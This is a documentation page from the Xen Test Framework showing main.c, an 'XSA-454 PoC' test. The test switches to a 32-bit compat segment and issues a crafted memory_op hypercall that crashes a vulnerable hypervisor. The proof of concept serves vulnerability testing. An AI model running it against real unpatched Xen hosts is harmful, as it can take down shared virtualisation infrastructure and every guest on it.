Xen Test Framework
main.c
Go to the documentation of this file.
1
32#include <xtf.h>
33
34const char test_title[] = "XSA-454 PoC";
35
36void test_main(void)
37{
38 unsigned long tmp;
39
40 /* Allow us to use the stack in __KERN_CS32 */
42
43 asm volatile (/* Drop into a 32bit compat code segment. */
44 "push $%c[cs32];"
45 "push $1f;"
46 "lretq; 1:"
47
48 ".code32;"
49 "start_32bit:;"
50
51 /* Compat hypercall_memory_op(XENMEM_maximum_ram_page, NULL); */
52 "call HYPERCALL_memory_op;"
53
54 /* Return to 64bit. */
55 "ljmpl $%c[cs], $1f;"
56 "end_32bit:;"
57
58 ".code64; 1:"
59 : "=a" (tmp),
60 "=b" (tmp),
61 "=c" (tmp)
62 : "b" (XENMEM_maximum_ram_page | (1UL << 32)),
63 "c" (NULL),
64 [cs32] "i" (__KERN_CS32),
65 [cs] "i" (__KERN_CS));
66
67 /* If Xen is still alive, it didn't hit a BUG(). */
68 xtf_success("Success: Not vulnerable to XSA-454\n");
69}
70
71/*
72 * Local variables:
73 * mode: C
74 * c-file-style: "BSD"
75 * c-basic-offset: 4
76 * tab-width: 4
77 * indent-tabs-mode: nil
78 * End:
79 */
static void write_ss(unsigned int ss)
Definition: lib.h:206
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:110
const char test_title[]
The title of the test.
Definition: main.c:24
#define XENMEM_maximum_ram_page
Definition: memory.h:20
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
#define GDTE_DS32_DPL0
Definition: segment.h:29
#define NULL
Definition: stddef.h:12